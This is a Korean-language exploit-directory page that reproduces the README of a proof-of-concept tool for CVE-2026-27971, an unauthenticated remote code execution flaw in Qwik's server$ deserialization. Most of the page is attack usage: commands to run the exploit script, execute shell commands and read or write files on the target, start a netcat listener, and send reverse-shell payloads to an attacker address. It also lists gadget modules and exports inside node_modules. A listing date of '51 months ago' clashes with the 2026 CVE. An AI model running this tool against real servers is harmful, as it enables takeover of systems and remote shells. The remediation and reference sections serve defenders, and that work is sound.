Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
도구/GitHubGitHub/ghalendar/cve-2026-27971_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

저장소 보기
51개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-27971 — Qwik server$ 인증되지 않은 RCE PoC

[!WARNING] 이 저장소에는 활성 원격 코드 실행(RCE) 개념 증명(PoC)이 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 사용하십시오. 작성자는 무단 사용 또는 피해에 대해 책임을 지지 않습니다.

Qwik server$ RPC 역직렬화 메커니즘의 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm에 대한 독립형 Python 개념 증명(PoC)입니다.

이 PoC는 능동 마커 프로브를 실행하고, 명령을 실행하며, 텍스트 파일을 읽거나 쓰고, Linux 또는 Windows 대상에 리버스 셸을 요청할 수 있습니다. Python 표준 라이브러리만 사용합니다.

취약점 요약

도구 다운로드
필드값
제품Qwik — npm 패키지 @builder.io/qwik
영향받는 버전<= 1.19.0
패치 버전1.19.1
취약점안전하지 않은 server$ 역직렬화를 통한 인증되지 않은 원격 코드 실행
런타임 조건런타임에서 require()를 사용할 수 있어야 함
CWECWE-502 — 신뢰할 수 없는 데이터의 역직렬화
심각도치명적 — CVSS 4.0: 9.2
벡터CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

정교하게 구성된 application/qwik-json 요청은 서버 측 모듈과 내보낸 심볼을 참조할 수 있습니다. 취약한 Qwik 버전은 런타임 require()를 통해 등록되지 않은 QRL을 해석하고 인증 없이 호출할 수 있습니다. 이 PoC는 대상의 node_modules에 이미 존재하는 호환 가능한 프로세스 실행 내보내기에 도달하려고 시도합니다.

요구 사항

운영자:

  • Python 3.
  • server$/Qwik JSON 요청을 처리하는 정확한 Qwik 라우트에 대한 네트워크 접근.
  • 리버스 셸 기능을 테스트할 때 대상에서 연결 가능한 리스너.

대상:

  • @builder.io/qwik <= 1.19.0을 사용하는 취약한 Qwik 배포.
  • require()를 사용할 수 있는 런타임.
  • node_modules에서 접근 가능한 호환 가젯 모듈 및 내보내기.
  • 서비스 프로세스 PATH에서 사용 가능한 node.
  • 요청된 명령 또는 파일 작업에 충분한 서비스 계정 권한.

타사 Python 패키지는 필요하지 않습니다.

빠른 시작

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

요청을 보내지 않고 내장 가젯 목록을 확인합니다:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

능동 마커 프로브를 실행하고 모든 내장 가젯을 시도합니다:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe는 수동적 버전 탐지가 아닙니다. 원격 코드 실행을 시도하고 대상 프로세스에서 마커를 출력하여 이를 확인합니다.

사용 예제

명령 실행:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

UTF-8 텍스트 파일 읽기:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

UTF-8 텍스트 파일 쓰기 및 검증:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

지속적 리스너를 시작한 후 리버스 셸 요청:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

자동 OS 탐지가 적절하지 않을 때 Windows 리버스 셸 페이로드를 강제로 사용:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

이 스크립트는 리스너를 시작하지 않습니다. --callback 사전 점검은 셸 페이로드를 보내기 전에 별도의 TCP 연결을 열고 닫으므로, 둘 이상의 연결을 수락할 수 있는 리스너를 사용하십시오.

CLI 참조

옵션설명
-t URL, --target URL정확한 대상 URL. 기본값: http://localhost:3000. 라우트는 자동으로 발견되지 않습니다.
--probe마커 페이로드를 능동적으로 실행하고 OS 탐지를 시도합니다.
-c CMD, --CMD CMDNode.js child_process.execSync()를 통해 명령을 실행합니다.
--read PATHfs.readFileSync()를 사용하여 UTF-8 텍스트 파일을 읽습니다.
--write PATH --content TEXT텍스트 파일을 쓰고, 다시 읽어 결과를 비교합니다. 상위 디렉터리는 생성되지 않습니다.
--list-gadgets내장 가젯 이름을 출력하고 네트워크 요청 없이 종료합니다.
--lhost IP리버스 셸 모드를 활성화하고 콜백 주소를 설정합니다.
--lport PORT콜백 포트를 설정합니다. 기본값: 4444.
--rev-all첫 번째 HTTP 요청이 수락된 후 중지하는 대신 모든 리버스 셸 변형을 전송합니다.
--callback리버스 셸 페이로드를 보내기 전에 아웃바운드 TCP 연결 가능 여부를 테스트합니다.
--OS {auto,linux,windows}리버스 셸 페이로드 계열을 선택합니다. 기본값: auto.
--gadget SPECauto, 내장 이름 또는 사용자 정의 <module>#<symbol>을 사용합니다. 기본값: cross-spawn.sync.
--arg-style {argv,command,shell}사용자 정의 <module>#<symbol> 가젯의 인수 스타일입니다.
--timeout SECONDS클라이언트 측 HTTP 타임아웃. 기본값: 30.
--verify-sslTLS 인증서 및 호스트 이름 검증을 활성화합니다. 검증은 기본적으로 비활성화되어 있습니다.

파서에서 액션 모드는 상호 배타적이지 않습니다. 각 호출에서는 --probe, --CMD, --read, --write, --lhost 중 하나만 사용하십시오.

내장 가젯

이름모듈 및 내보내기스타일
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto는 나열된 순서대로 이러한 가젯을 테스트합니다. 사용자 정의 가젯은 다음과 같이 제공할 수 있습니다:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

중요 제한 사항

  • 음성 프로브 결과는 대상이 패치되었다는 증거가 아닙니다. 잘못된 라우트, 누락되었거나 호환되지 않는 가젯, 네트워크/TLS 오류, 필터링 또는 다른 배포 구성을 나타낼 수 있습니다.
  • 기본 가젯은 자동 탐지가 아닌 cross-spawn.sync입니다. 대상의 의존성 구성이 알려지지 않은 경우 --gadget auto를 사용하십시오.
  • 이 도구에는 쿠키, 인증 헤더, 프록시 또는 임의의 사용자 정의 헤더 옵션이 없습니다.
  • 파일 작업은 텍스트 중심입니다. --read는 UTF-8을 기대하며, --write는 이진 데이터용이 아닙니다.
  • 상대 경로는 Qwik 프로세스 작업 디렉터리를 기준으로 해석됩니다. 모든 작업은 Qwik 서비스 계정의 권한으로 실행됩니다.
  • 리버스 셸 성공 메시지는 익스플로잇 HTTP 요청이 수락되었음을 나타낼 뿐, 콜백이 수신되었음을 증명하지는 않습니다.
  • --rev-all은 대상에서 여러 프로세스 또는 콜백을 시작할 수 있습니다. 격리된 실험실에서만 사용하십시오.
  • 프로세스 종료 코드는 주로 프로브 및 전송 처리를 반영하며, 원격 명령의 종료 상태나 작동하는 셸의 존재를 반영하지 않습니다.
  • 이 도구는 설치된 Qwik 버전을 식별하지 않으며 의존성 인벤토리의 대체 수단으로 사용해서는 안 됩니다.

해결 방법

@builder.io/qwik를 1.19.1 이상으로 업그레이드하고, 잠금 파일을 업데이트하고, 애플리케이션을 다시 빌드한 후 모든 서버 산출물을 재배포하십시오. 호환 가능한 가젯을 제거하는 것만으로는 근본적인 Qwik 취약점을 완전히 해결할 수 없습니다.

참고 자료

  • Qwik 보안 권고 — GHSA-p9x5-jp3h-96mm
  • GitHub Advisory Database — CVE-2026-27971
  • 패치된 Qwik 1.19.1 릴리스
  • 업스트림 수정 커밋
  • CVE 레코드
  • NVD 항목

법적 고지

이 프로젝트는 보안 연구, 방어적 검증 및 승인된 테스트를 위해 제공됩니다. 명시적 허가 없이 시스템에 대해 사용하지 마십시오.